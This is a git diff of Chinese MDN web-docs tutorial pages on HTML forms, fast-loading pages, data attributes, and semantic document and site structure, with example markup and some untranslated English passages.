在开始本单元之前,您应该对HTML的基础知识有一定的了解,如HTML简介中所述。 如果你没有通过这个模块(或类似的东西),先完成它,然后再回来!

- -
-

Note: 如果你是在计算机/平板电脑等其他你无法创建文件的设备上的话,你可以尝试在在线代码编辑平台上运行代码例如 JSBin 或 Thimble.

-
- -

向导

- -

本模块包含以下的文章

- -
-
表单和按钮基础知识(Form and button basics)
-
     在本文中,我们将向您介绍HTML表单的基础知识,包括它们的用途,基本功能和常用表单控件。 我们还将了解HTML按钮以及如何使用它们。
-
形成语义和结构
-
     存在许多元素,允许我们将表单结构化为更易于使用和访问 - 其中一些是专门的表单元素,其中一些是通用HTML容器。 在本文中,我们将介绍创建表单结构的最佳实践。
-
高级表单功能
-
       在这里,我们将介绍HTML表单中可用的一些更高级的功能,例如数据列表,进度条,滑块以及最小值和最大值。
-
表格验证
-
     在我们的最终表单文章中,我们将讨论表单验证,讨论为什么有必要,并查看HTML选项卡提供的一些功能,以便客户端验证表单数据。
-
- -

练习

- -
-
表单练习
-
等待完成(to be done)
-
diff --git a/files/zh-cn/learn/html/howto/author_fast-loading_html_pages/index.html b/files/zh-cn/learn/html/howto/author_fast-loading_html_pages/index.html new file mode 100644 index 0000000000..5a07e862a0 --- /dev/null +++ b/files/zh-cn/learn/html/howto/author_fast-loading_html_pages/index.html @@ -0,0 +1,213 @@ +--- +title: 小贴士:如何制作快速加载的HTML页面 +slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages +tags: + - HTML + - 全部分类 + - 教程 +translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages +--- +

以下技巧都是基于通用的知识和经验。

+ +

一个好的页面不仅要给访客提供一个更有交互性的站点,同时也需要降低你的服务器压力和网络请求。后者对于那些高访问量的站点,或在有爆炸性新闻出现等特殊情况下会出现流量突增的站点来说尤为关键。

+ +

页面加载性能的优化不仅仅是针对那些带宽有限的拨号上网或移动设备用户需要看的内容,对于提供给宽带用户访问的内容同样重要并且可以导致巨大的提升,哪怕对于那些拥有最快网速的访客。

+ +

Tips

+ +

减小页面的大小

+ +

直至今日,页面的大小仍是页面加载性能的最重要因素。

+ +

通过压缩——排除不必要空格,注释,和将脚本、CSS放入外部文件等减小页面的大小,可以在页面结构改变很小的情况下提高下载性能。

+ +

诸如 HTML Tidy 这类的工具可以从有效的HTML源文件中自动截去行首空格和额外的空行,其它工具则可以通过重新格式化源代码来压缩JavaScript或者通过混淆源码将长标识符替换为短标识符来减小文件大小。

+ +

最小化文件数量

+ +

减少一个页面引用的文件数量可以降低在下载一个页面的过程中需要的HTTP请求数量,从而减少这些请求的收发时间。

+ +

根据其缓存设置,浏览器可能会为每个所引用的文件发送一个带 If-Modified-Since 的请求给网络服务器,以查询这些文件自上次加载后是否有被修改。查询引用文件上次修改时间会花费太多时间,导致网页首屏延迟,这是因为在渲染页面之前浏览器必须确认每个文件的修改时间。

+ +

If you use background images a lot in your CSS, you can reduce the number of HTTP lookups needed by combining the images into one, known as an image sprite. Then you just apply the same image each time you need it for a background and adjust the x/y coordinates appropriately. This technique works best with elements that will have limited dimensions, and will not work for every use of a background image. However, the fewer HTTP requests and single image caching can help reduce page-load time.

+ +

使用 CDN

+ +

For the purposes of this article, a CDN is a means to reduce the physical distance between your server and your visitor. As the distance between your server origin and visitor increases, the load times will increase. Suppose your website server is located in the United States and it has a visitor from India; the page load time will be much higher for the Indian visitor compared to a visitor from the US.

+ +

A CDN is a geographically distributed network of servers that work together to shorten the distance between the user and your website. CDNs store cached versions of your website and serve them to visitors via the network node closest to the user, thereby reducing latency.

+ +

Further reading:

+ + + +

减少域名查找

+ +

每个独立的域名都会消耗DNS查找的时间,页面加载时间会随着独立域名数量、CSS链接数量、JavaScript还有图片资源的数量增加而增加。

+ +

这条可能算不上实用,然而,在你的页面中尽量少的使用来自不同域名的资源链接。

+ + + +

缓存重用的内容

+ +

确保任何内容可以被缓存,并且拥有一个合理的有效期。

+ +

特别要注意 Last-Modified 头,它会让页面高效的缓存。 自上次修改之后,这部分 header 指示将信息传递给用户代理(要加载这些信息的文件)。大部分网页服务器会自动追加 Last-Modified header 部分到静态页面(如 .html.css),基于上次修改的日期储存在文件系统中。至于动态页面(如 .php.aspx),便无法做到,这部分请求的头也就不会被发送出去。

+ +

所以,特别是动态产生的页面,花点时间研究一下这个课题会是有益的。或许有些什么关联,无论怎样,这么做在那些不能被缓存的网页中都会节省很多的页面请求。

+ +

更多信息:

+ +
    +
  1. HTTP Conditional Get for RSS Hackers
  2. +
  3. HTTP 304: Not Modified
  4. +
  5. HTTP ETag on Wikipedia
  6. +
  7. Caching in HTTP
  8. +
+ +

高效地排列页面组件

+ +

在页面最初显示时,会首先下载页面内容以及所需的CSS和JavaScript,这样在页面加载时用户可以最快获得外观的反馈。由于内容通常都是文本,有利于在传输过程中压缩,因此给用户以更快的响应。

+ +

页面中任何具有动态特性的资源需要在页面被完全加载后才可以使用,所以最好在初始化时关闭动态特性(disable dynamic features ),等页面加载完后再打开它。这样JavaScript就会在网页内容之后才加载,有助于提升页面加载的整体表现。

+ +

减少内联脚本的数量

+ +

内联脚本在页面加载过程中消耗很多资源,因为解析器认为内联脚本会改变页面结构。通常,尽量少的使用内联脚本和减少用document.write()来输出内容,在一定情况下可以加速整体页面的载入。现在浏览器中一般使用现代的 W3C DOM 方法操作页面内容,优于使用document.write()的传统方法。

+ +

使用现代CSS和合法标记

+ +

使用现代CSS减少标记(markup)的用量,可以减少对(spacer)图片的需求。在布局方面,图片通常可以用风格化的文本(text)来替代,这样会“节省”许多资源。

+ +

使用合法标记还有其它优点。首先,浏览器在解释HTML时无需做错误校正(除了一些哲理性的问题,例如,是允许用户输入格式不一致,而后再用程序“校准”或统一化呢? 还是加强约束规则,限制用户输入的格式?)。

+ +

再者,合法标记可以让那些给你的网站做预处理的工具功能最大化。例如,HTML Tidy 可以移除空白(whitespace)和可选的末尾标记(ending tags);然而,在有严重的错误标记的网页中这些工具便无法工作。

+ +

给内容分块

+ +

使用 table 布局是一种不应该再采用的传统方法,而应运用 floatspositioningflexbox, 或 grids 来布局。

+ +

当然,table 仍是不失为一种有效的展示表格数据的方式。为了帮助浏览器更快速的渲染你的页面,你应该避免嵌套 table。

+ +

相较于这种深度的嵌套:

+ +
<table>
+  <table>
+    <table>
+          ...
+    </table>
+  </table>
+</table>
+ +

用下图这样的非嵌套结构更好一些:

+ +
<table>...</table>
+<table>...</table>
+<table>...</table>
+ +

可参见 CSS Flexible Box Layout 和 CSS Grid Layout 规范。

+ +

Minify and compress SVG assets

+ +

SVG produced by most drawing applications often contains unnecessary metadata which can be removed. Configure your servers, apply gzip compression for SVG assets.

+ +

Minify and compress your images

+ +

Large images cause your page to take more time to load. Consider compressing your images before adding them to your page, using compression features built into image-manipulation tools such as Photoshop, or using a specialized tool such as Compress Jpeg or Tiny PNG,.

+ +

指定图像和表格的大小

+ +

如果浏览器可以即时决定你的照片(images)和表格(tables)宽高,它在展示网页时就不必进行内容重新排版。这不仅可以加速网页的显示,还能在网页完成加载的过程中防止恼人的布局改变。因此,图片的 heightwidth 应尽可能确定下来。

+ +

表格可以使用 CSS 选择器:综合性能:

+ +
table-layout: fixed;
+ +

用 <col><colgroup> 元素来指定列宽。

+ +

合理的选择 user-agent

+ +

为使页面设计得到极大提升,应确保在工程中指定一个合理的user-agent。不要奢求你的内容在所有浏览器中都完美的展现,特别是在那些低版本的浏览器中。

+ +

理想情况下,你的页面运行的最小环境要基于现代浏览器,这个浏览器起码要支持一些相关的标准(如 html5 标准)。可以是最近版本的火狐,IE,谷歌Chrome,Opera还有Safari。

+ +

需要注意一下,这篇文章当中的许多tips都是些技术性常识,可以不必担心浏览器的支持需求而应用到任何user-agent和网页中去。

+ +

尽可能使用 async 和 defer

+ +

确保 JavaScript 脚本兼容 async 和 defer,任何时候都要尽可能使用  async ,特别是当你有较多的 script 标签时。

+ +

这样在加载 JavaScript 的过程中页面就不会重新绘制,否则,浏览器在不具有这些特性的 script 标签后就不会重绘任何东西。

+ +

注意:这些特性在页面第一次加载时会有所帮助,你可以这样用但不能指靠它在所有的浏览器中起作用。如果你遵循指南(guidelines)写出了非常优秀的 JavaScript 代码,也不必要再去修改它了。

+ +

页面结构示例

+ +

· {{htmlelement('html')}}

+ +
+
· {{htmlelement('head')}}
+
+ +
+
+
+
· {{htmlelement('link')}} ...
+ CSS 文件用来修饰页面外观。在调试维护中把不相关的 CSS 拆分在不同文件中,且尽量减少文件的数量可以提高性能。
+
+
+
+ +
+
+
+
· {{htmlelement('script')}} ...
+ JavaScript 文件用来实现页面加载时需要的函数,而避免在页面加载后才能运行的 JavaScript。
+
在调试维护中把不相关的 JavaScript 拆分在不同文件中,且尽量减少文件的数量可以提高性能。
+
+
+
+ +
+
· {{htmlelement('body')}}
+
· 用户能在完整页面下载完之前就可以看到的页面小分块 ( {{htmlelement('header')}}{{htmlelement('main')}}/ {{htmlelement('table')}}) 。
+
+ +
+
+
+
· {{htmlelement('script')}} ...
+
DHTML 脚本通常在页面完全加载或者所有必要的对象(objects)已初始化完毕之后才能运行。没有必要在页面内容之前加载这些脚本,这只会拖慢页面加载和初始化的体验。
+
在调试维护中把不相关的 script 拆分在不同文件中,且尽量减少文件的数量可以提高性能。
+
如有图像用到了反转效果,你应该在页面内容下载完后预加载这些图像。
+
+
+
+ + + + + +
+

文章原始信息

+ +
    +
  • 作者:Bob Clary, Technology Evangelist, Netscape Communications
  • +
  • 最后更新:Published 2003年4月4日
  • +
  • 版权信息:Copyright © 2001-2003 Netscape. All rights reserved.
  • +
  • 注意:This reprinted article was originally part of the DevEdge site.
  • +
+
+ +
+ +

{{ languages( { "en": "en/Tips_for_Authoring_Fast-loading_HTML_Pages", "ja": "ja/Tips_for_Authoring_Fast-loading_HTML_Pages", "pl": "pl/Porady_odno\u015bnie_tworzenia_szybko_\u0142aduj\u0105cych_si\u0119_stron_HTML" } ) }}

diff --git a/files/zh-cn/learn/html/howto/use_data_attributes/index.html b/files/zh-cn/learn/html/howto/use_data_attributes/index.html new file mode 100644 index 0000000000..009517f416 --- /dev/null +++ b/files/zh-cn/learn/html/howto/use_data_attributes/index.html @@ -0,0 +1,80 @@ +--- +title: 使用数据属性 +slug: Web/Guide/HTML/Using_data_attributes +tags: + - Custom Data Attributes + - HTML5 +translation_of: Learn/HTML/Howto/Use_data_attributes +--- +

{{LearnSidebar}}

+ +

HTML5是具有扩展性的设计,它初衷是数据应与特定的元素相关联,但不需要任何定义。data-* 属性允许我们在标准内于HTML元素中存储额外的信息,而不需要使用类似于 classList,标准外属性,DOM额外属性或是 setUserData 之类的技巧。

+ +

HTML 语法

+ +

语法非常简单。所有在元素上以data-开头的属性为数据属性。比如说你有一篇文章,而你又想要存储一些不需要显示在浏览器上的额外信息。请使用data属性:

+ +
<article
+  id="electriccars"
+  data-columns="3"
+  data-index-number="12314"
+  data-parent="cars">
+...
+</article>
+ +

JavaScript 访问

+ +

在外部使用JavaScript去访问这些属性的值同样非常简单。你可以使用{{domxref("Element.getAttribute", "getAttribute()")}}配合它们完整的HTML名称去读取它们,但标准定义了一个更简单的方法:{{domxref("DOMStringMap")}}你可以使用{{domxref("HTMLElement.dataset", "dataset")}}读取到数据。

+ +

为了使用dataset对象去获取到数据属性,需要获取属性名中data-之后的部分(要注意的是破折号连接的名称需要改写为骆驼拼写法(如"index-number"转换为"indexNumber"))。

+ +
var article = document.querySelector('#electriccars');
+
+article.dataset.columns // "3"
+article.dataset.indexNumber // "12314"
+article.dataset.parent // "cars"
+ +

每一个属性都是一个可读写的字符串。在上面的例子中,article.dataset.columns = 5.将会调整属性的值为5。

+ +

CSS 访问

+ +

注意,data设定为HTML属性,他们同样能被CSS访问。比如你可以通过generated content使用函数{{cssxref("attr")}}来显示data-parent的内容:

+ +
article::before {
+  content: attr(data-parent);
+}
+ +

你也同样可以在CSS中使用属性选择器根据data来改变样式:

+ +
article[data-columns='3'] {
+  width: 400px;
+}
+article[data-columns='4'] {
+  width: 600px;
+}
+ +

你可以在这个JSBin 里看到全部演示。

+ +

Data属性同样可以存储不断变化的信息,比如游戏的得分。使用CSS选择器与JavaScript去访问可以让你得到花俏的效果,这里你并不需要用常规的编写方案来编写代码。有关使用生成内容和CSS转换(JSBin示例)的示例,请参阅此视频

+ +

数据值是字符串。必须在选择器中引用数值才能使样式生效。

+ +

Issues

+ +

不要在data attribute里储存需要显示及访问的内容,因为一些其他的技术可能访问不到它们。另外爬虫不能将data attribute的值编入索引中。

+ +

IE的支持度及显示效果是最主要讨论的问题。IE11+支持这个标准,但所有更早期的版本都不支持dataset。为了支持IE10及以下的版本,你必须使用{{domxref("Element.getAttribute", "getAttribute()")}} 来访问。另外,读取 data-attributes的行为相比JS存储数据会慢。使用dataset 会比使用getAttribute()读取数据来得慢。

+ +

尽管如此,对于那些与元素相关的数据,这依然是一个很好的解决方案.

+ +

在FireFox 49.0.2(其他版本也有可能)中,javascript将无法读出包含1022个及以上字符的data属性(EcmaScript 4).

+ +

参阅

+ +
 
+ + diff --git a/files/zh-cn/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/zh-cn/learn/html/introduction_to_html/document_and_website_structure/index.html new file mode 100644 index 0000000000..63c421487b --- /dev/null +++ b/files/zh-cn/learn/html/introduction_to_html/document_and_website_structure/index.html @@ -0,0 +1,252 @@ +--- +title: 文档与网站架构 +slug: learn/HTML/Introduction_to_HTML/文件和网站结构 +tags: + - HTML + - 块 + - 教程 + - 新手 + - 样式 + - 站点 + - 脚本编写 + - 页面 +translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}
+ +

{{glossary("HTML")}} 不仅能够定义网页的单独部分(例如“段落”或“图片”),还可以使用块级元素(例如“标题栏”、“导航菜单”、“主内容列”)来定义网站中的复合区域。本文将探讨如何规划基本的网站结构,并根据规划的结构来编写 HTML。

+ + + + + + + + + + + + +
预备知识:阅读 开始学习 HTMLHTML 文字处理初步创建超链接,掌握相关基础知识。
学习目标:会用语义标签来构建文档,会搭建简单的网站结构。
+ +

文档的基本组成部分

+ +

网页的外观多种多样,但是除了全屏视频或游戏,或艺术作品页面,或只是结构不当的页面以外,都倾向于使用类似的标准组件:

+ +
+
页眉
+
通常横跨于整个页面顶部有一个大标题 和/或 一个标志。 这是网站的主要一般信息,通常存在于所有网页。
+
导航栏
+
指向网站各个主要区段的超链接。通常用菜单按钮、链接或标签页表示。类似于标题栏,导航栏通常应在所有网页之间保持一致,否则会让用户感到疑惑,甚至无所适从。许多 web 设计人员认为导航栏是标题栏的一部分,而不是独立的组件,但这并非绝对;还有人认为,两者独立可以提供更好的 无障碍访问特性,因为屏幕阅读器可以更清晰地分辨二者。
+
主内容
+
中心的大部分区域是当前网页大多数的独有内容,例如视频、文章、地图、新闻等。这些内容是网站的一部分,且会因页面而异。
+
侧边栏
+
一些外围信息、链接、引用、广告等。通常与主内容相关(例如一个新闻页面上,侧边栏可能包含作者信息或相关文章链接),还可能存在其他的重复元素,如辅助导航系统。
+
页脚
+
横跨页面底部的狭长区域。和标题一样,页脚是放置公共信息(比如版权声明或联系方式)的,一般使用较小字体,且通常为次要内容。 还可以通过提供快速访问链接来进行 {{Glossary("SEO")}}。
+
+ +

一个“典型的网站”可能会这样布局:

+ +

一个简单站点首页截图

+ +

用于构建内容的 HTML

+ +

以上简单示例不是很精美,但是足够说明网站的典型布局方式了。 一些站点拥有更多列,其中一些远比这复杂,但一切在你掌握之中。通过合适的CSS, 你可以使用相当多种的任意页面元素来环绕在不同的页面区域来做成你想要的样子,但如前所述,我们要敬畏语义,做到正确选用元素

+ +

这是因为视觉效果并不是一切。 我们可以修改最重要内容(例如导航菜单和相关链接)的颜色、字体大小来吸引用户的注意,但是这对视障人士是无效的,“粉红色”和“大字体”对他们并不奏效。

+ +
+

注:全球色盲患者比例为 4%,换句话说,每 12 名男性就有一位色盲,每 200 名女性就有一位色盲。全盲和视障人士约占世界人口(约 70 亿)的 13%(2015年 全球约有 9.4 亿人口存在视力问题)。

+
+ +

HTML 代码中可根据功能来为区段添加标记。可使用元素来无歧义地表示上文所讲的内容区段,屏幕阅读器等辅助技术可以识别这些元素,并帮助执行“找到主导航 “或”找到主内容“等任务。参见前文所讲的 页面中元素结构和语义不佳所带来的后果

+ +

为了实现语义化标记,HTML 提供了明确这些区段的专用标签,例如:

+ + + +

主动学习:研究示例代码

+ +

上图的示例可用下面的代码表示(完整代码请参见 GitHub),请结合图片观察代码,并找出代码中可见的区段:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>二次元俱乐部</title>
+    <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet">
+    <link href="https://fonts.googleapis.com/css?family=ZCOOL+KuaiLe" rel="stylesheet">
+    <link href="style.css" rel="stylesheet">
+  </head>
+
+  <body>
+    <header> <!-- 本站所有网页的统一主标题 -->
+      <h1>聆听电子天籁之音</h1>
+    </header>
+
+    <nav> <!-- 本站统一的导航栏 -->
+      <ul>
+        <li><a href="#">主页</a></li>
+        <!-- 共n个导航栏项目,省略…… -->
+      </ul>
+
+      <form> <!-- 搜索栏是站点内导航的一个非线性的方式。 -->
+        <input type="search" name="q" placeholder="要搜索的内容">
+        <input type="submit" value="搜索">
+      </form>
+    </nav>
+
+    <main> <!-- 网页主体内容 -->
+      <article>
+        <!-- 此处包含一个 article(一篇文章),内容略…… -->
+      </article>
+
+      <aside> <!-- 侧边栏在主内容右侧 -->
+        <h2>相关链接</h2>
+        <ul>
+          <li><a href="#">这是一个超链接</a></li>
+          <!-- 侧边栏有n个超链接,略略略…… -->
+        </ul>
+      </aside>
+    </main>
+
+    <footer> <!-- 本站所有网页的统一页脚 -->
+      <p>© 2050 某某保留所有权利</p>
+    </footer>
+  </body>
+</html>
+ +

请花一些时间来阅读,其中的注释应该能够帮助你理解这些代码。现在能够理解上面的代码就可以,因为编写一套正确的 HTML 结构是理解文档布局的前提,布局工作就交给 CSS 吧。在学习 CSS 一章时我们再展开介绍。

+ +

HTML 布局元素细节

+ +

理解所有 HTML 区段元素具体含义是很有益处的,这一点将随着个人 web 开发经验的逐渐丰富日趋显现。更多细节请查阅 HTML 元素参考。现在,你只需要理解以下主要元素的意义:

+ + + +

无语义元素

+ +

有时你会发现,对于一些要组织的项目或要包装的内容,现有的语义元素均不能很好对应。有时候你可能只想将一组元素作为一个单独的实体来修饰来响应单一的用 {{glossary("CSS")}} 或 {{glossary("JavaScript")}}。为了应对这种情况,HTML提供了 {{HTMLElement("div")}} 和 {{HTMLElement("span")}} 元素。应配合使用 {{htmlattrxref('class')}} 属性提供一些标签,使这些元素能易于查询。

+ +

{{HTMLElement("span")}} 是一个内联的(inline)无语义元素,最好只用于无法找到更好的语义元素来包含内容时,或者不想增加特定的含义时。例如:

+ +
<p>国王喝得酩酊大醉,在凌晨 1 点时才回到自己的房间,踉跄地走过门口。<span class="editor-note">[编辑批注:此刻舞台灯光应变暗]</span>.</p>
+ +

这里,“编辑批注”仅仅是对舞台剧导演提供额外指引;没有具体语义。对于视力正常的用户,CSS 应将批注内容与主内容稍微隔开一些。

+ +

{{HTMLElement("div")}} 是一个块级无语义元素,应仅用于找不到更好的块级元素时,或者不想增加特定的意义时。例如,一个电子商务网站页面上有一个一直显示的购物车组件。

+ +
<div class="shopping-cart">
+  <h2>购物车</h2>
+  <ul>
+    <li>
+      <p><a href=""><strong>银耳环</strong></a>:$99.95.</p>
+      <img src="../products/3333-0985/" alt="Silver earrings">
+    </li>
+    <li>
+      ...
+    </li>
+  </ul>
+  <p>售价:$237.89</p>
+</div>
+ +

这里不应使用 <aside>,因为它和主内容并没有必要的联系(你想在任何地方都能看到它)。甚至不能用 <section> ,因为它也不是页面上主内容的一部分。所以在这种情况下就应使用 <div>,为满足无障碍使用特征,还应为购物车的标题设置一个可读标签。

+ +
+

警告:<div> 非常便利但容易被滥用。由于它们没有语义值,会使 HTML 代码变得混乱。要小心使用,只有在没有更好的语义方案时才选择它,而且要尽可能少用, 否则文档的升级和维护工作会非常困难。

+
+ +

换行与水平分割线

+ +

有时会用到 {{htmlelement("br")}} 和 {{htmlelement("hr")}} 两个元素,需要介绍一下。

+ +

<br> 可在段落中进行换行;<br> 是唯一能够生成多个短行结构(例如邮寄地址或诗歌)的元素。比如:

+ +
<p>从前有个人叫小高<br>
+他说写 HTML 感觉最好<br>
+但他写的代码结构语义一团糟<br>
+他写的标签谁也懂不了。</p>
+
+ +

没有 <br> 元素,这段会直接显示在长长的一行中(如前文所讲,HTML会忽略大部分空格);使用 <br> 元素,才使得诗看上去像诗:

+ +

从前有个人叫小高
+ 他说写 HTML 感觉最好
+ 但他写的代码结构语义一团糟
+ 他写的标签谁也懂不了。

+ +

<hr> 元素在文档中生成一条水平分割线,表示文本中主题的变化(例如话题或场景的改变)。一般就是一条水平的直线。例如:

+ +
<p>原来这唐僧是个慈悯的圣僧。他见行者哀告,却也回心转意道:“既如此说,且饶你这一次。再休无礼。如若仍前作恶,这咒语颠倒就念二十遍!”行者道:“三十遍也由你,只是我不打人了。”却才伏侍唐僧上马,又将摘来桃子奉上。唐僧在马上也吃了几个,权且充饥。</p>
+<hr>
+<p>却说那妖精,脱命升空。原来行者那一棒不曾打杀妖精,妖精出神去了。他在那云端里,咬牙切齿,暗恨行者道:“几年只闻得讲他手段,今日果然话不虚传。那唐僧已此不认得我,将要吃饭。若低头闻一闻儿,我就一把捞住,却不是我的人了。不期被他走来,弄破我这勾当,又几乎被他打了一棒。若饶了这个和尚,诚然是劳而无功也。我还下去戏他一戏。”</p>
+ +

将渲染成:

+ +

原来这唐僧是个慈悯的圣僧。他见行者哀告,却也回心转意道:“既如此说,且饶你这一次。再休无礼。如若仍前作恶,这咒语颠倒就念二十遍!”行者道:“三十遍也由你,只是我不打人了。”却才伏侍唐僧上马,又将摘来桃子奉上。唐僧在马上也吃了几个,权且充饥。

+ +
+

却说那妖精,脱命升空。原来行者那一棒不曾打杀妖精,妖精出神去了。他在那云端里,咬牙切齿,暗恨行者道:“几年只闻得讲他手段,今日果然话不虚传。那唐僧已此不认得我,将要吃饭。若低头闻一闻儿,我就一把捞住,却不是我的人了。不期被他走来,弄破我这勾当,又几乎被他打了一棒。若饶了这个和尚,诚然是劳而无功也。我还下去戏他一戏。”

+ +

规划一个简单的网站

+ +

在完成页面内容的规划后,一般应按部就班地规划整个网站的内容,要可能带给用户最好的体验,需要哪些页面、如何排列组合这些页面、如何互相链接等问题不可忽略。这些工作称为{{glossary("Information architecture", "信息架构")}}。在大型网站中,大多数规划工作都可以归结于此,而对于一个只有几个页面的简单网站,规划设计过程可以更简单,更有趣!

+ +
    +
  1. 时刻记住,大多数(不是全部)页面会使用一些相同的元素,例如导航菜单以及页脚内容。若网站为商业站点,不妨在所有页面的页脚都加上联系方式。请记录这些对所有页面都通用的内容:所有页面共有的内容,包括:站点标题、Logo、联系方式、版权声明、语言等信息。
  2. +
  3. 接下来,可为页面结构绘制草图(这里与前文那个站点页面的截图类似)。记录每一块的作用:简单的页面布局示意图,有页眉、页脚、主内容、侧边栏。
  4. +
  5. 下面,对于期望添加进站点的所有其它(通用内容以外的)内容展开头脑风暴,直接罗列出来。把假日旅行站点的所有功能罗列到一个列表中
  6. +
  7. 下一步,试着对这些内容进行分组,这样可以让你了解哪些内容可以放在同一个页面。这种做法和 {{glossary("Card sorting", "卡片分类法")}} 非常相似。假日网站的页面应分5类:搜索、特别提供、具体国家信息、搜索结果、购物。
  8. +
  9. 接下来,试着绘制一个站点地图的草图,使用一个气泡代表网站的一个页面,并绘制连线来表示页面间的一般工作流。主页面一般置于中心,且链接到其他大多数页面;小型网站的大多数页面都可以从主页的导航栏中链接跳转。也可记录下内容的显示方式。
  10. +
+ +

主动学习:创建站点地图

+ +

自己创造一个网站(什么网站呢?)并尝试执行上述步骤。

+ +
+

注:记得保存你的杰作,今后可能会用到哦。

+
+ +

小结

+ +

现在你应该对如何构建网页/站点有了更好的理解。下一节我们将学习如何调试 HTML。

+ +

另请参阅

+ + + +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}

+ +

本章目录

+ + diff --git "a/files/zh-cn/learn/html/introduction_to_html/\346\226\207\344\273\266\345\222\214\347\275\221\347\253\231\347\273\223\346\236\204/index.html" "b/files/zh-cn/learn/html/introduction_to_html/\346\226\207\344\273\266\345\222\214\347\275\221\347\253\231\347\273\223\346\236\204/index.html" deleted file mode 100644 index 63c421487b..0000000000 --- "a/files/zh-cn/learn/html/introduction_to_html/\346\226\207\344\273\266\345\222\214\347\275\221\347\253\231\347\273\223\346\236\204/index.html" +++ /dev/null @@ -1,252 +0,0 @@ ---- -title: 文档与网站架构 -slug: learn/HTML/Introduction_to_HTML/文件和网站结构 -tags: - - HTML - - 块 - - 教程 - - 新手 - - 样式 - - 站点 - - 脚本编写 - - 页面 -translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}
- -

{{glossary("HTML")}} 不仅能够定义网页的单独部分(例如“段落”或“图片”),还可以使用块级元素(例如“标题栏”、“导航菜单”、“主内容列”)来定义网站中的复合区域。本文将探讨如何规划基本的网站结构,并根据规划的结构来编写 HTML。

- - - - - - - - - - - - -
预备知识:阅读 开始学习 HTMLHTML 文字处理初步创建超链接,掌握相关基础知识。
学习目标:会用语义标签来构建文档,会搭建简单的网站结构。
- -

文档的基本组成部分

- -

网页的外观多种多样,但是除了全屏视频或游戏,或艺术作品页面,或只是结构不当的页面以外,都倾向于使用类似的标准组件:

- -
-
页眉
-
通常横跨于整个页面顶部有一个大标题 和/或 一个标志。 这是网站的主要一般信息,通常存在于所有网页。
-
导航栏
-
指向网站各个主要区段的超链接。通常用菜单按钮、链接或标签页表示。类似于标题栏,导航栏通常应在所有网页之间保持一致,否则会让用户感到疑惑,甚至无所适从。许多 web 设计人员认为导航栏是标题栏的一部分,而不是独立的组件,但这并非绝对;还有人认为,两者独立可以提供更好的 无障碍访问特性,因为屏幕阅读器可以更清晰地分辨二者。
-
主内容
-
中心的大部分区域是当前网页大多数的独有内容,例如视频、文章、地图、新闻等。这些内容是网站的一部分,且会因页面而异。
-
侧边栏
-
一些外围信息、链接、引用、广告等。通常与主内容相关(例如一个新闻页面上,侧边栏可能包含作者信息或相关文章链接),还可能存在其他的重复元素,如辅助导航系统。
-
页脚
-
横跨页面底部的狭长区域。和标题一样,页脚是放置公共信息(比如版权声明或联系方式)的,一般使用较小字体,且通常为次要内容。 还可以通过提供快速访问链接来进行 {{Glossary("SEO")}}。
-
- -

一个“典型的网站”可能会这样布局:

- -

一个简单站点首页截图

- -

用于构建内容的 HTML

- -

以上简单示例不是很精美,但是足够说明网站的典型布局方式了。 一些站点拥有更多列,其中一些远比这复杂,但一切在你掌握之中。通过合适的CSS, 你可以使用相当多种的任意页面元素来环绕在不同的页面区域来做成你想要的样子,但如前所述,我们要敬畏语义,做到正确选用元素

- -

这是因为视觉效果并不是一切。 我们可以修改最重要内容(例如导航菜单和相关链接)的颜色、字体大小来吸引用户的注意,但是这对视障人士是无效的,“粉红色”和“大字体”对他们并不奏效。

- -
-

注:全球色盲患者比例为 4%,换句话说,每 12 名男性就有一位色盲,每 200 名女性就有一位色盲。全盲和视障人士约占世界人口(约 70 亿)的 13%(2015年 全球约有 9.4 亿人口存在视力问题)。

-
- -

HTML 代码中可根据功能来为区段添加标记。可使用元素来无歧义地表示上文所讲的内容区段,屏幕阅读器等辅助技术可以识别这些元素,并帮助执行“找到主导航 “或”找到主内容“等任务。参见前文所讲的 页面中元素结构和语义不佳所带来的后果

- -

为了实现语义化标记,HTML 提供了明确这些区段的专用标签,例如:

- - - -

主动学习:研究示例代码

- -

上图的示例可用下面的代码表示(完整代码请参见 GitHub),请结合图片观察代码,并找出代码中可见的区段:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <title>二次元俱乐部</title>
-    <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet">
-    <link href="https://fonts.googleapis.com/css?family=ZCOOL+KuaiLe" rel="stylesheet">
-    <link href="style.css" rel="stylesheet">
-  </head>
-
-  <body>
-    <header> <!-- 本站所有网页的统一主标题 -->
-      <h1>聆听电子天籁之音</h1>
-    </header>
-
-    <nav> <!-- 本站统一的导航栏 -->
-      <ul>
-        <li><a href="#">主页</a></li>
-        <!-- 共n个导航栏项目,省略…… -->
-      </ul>
-
-      <form> <!-- 搜索栏是站点内导航的一个非线性的方式。 -->
-        <input type="search" name="q" placeholder="要搜索的内容">
-        <input type="submit" value="搜索">
-      </form>
-    </nav>
-
-    <main> <!-- 网页主体内容 -->
-      <article>
-        <!-- 此处包含一个 article(一篇文章),内容略…… -->
-      </article>
-
-      <aside> <!-- 侧边栏在主内容右侧 -->
-        <h2>相关链接</h2>
-        <ul>
-          <li><a href="#">这是一个超链接</a></li>
-          <!-- 侧边栏有n个超链接,略略略…… -->
-        </ul>
-      </aside>
-    </main>
-
-    <footer> <!-- 本站所有网页的统一页脚 -->
-      <p>© 2050 某某保留所有权利</p>
-    </footer>
-  </body>
-</html>
- -

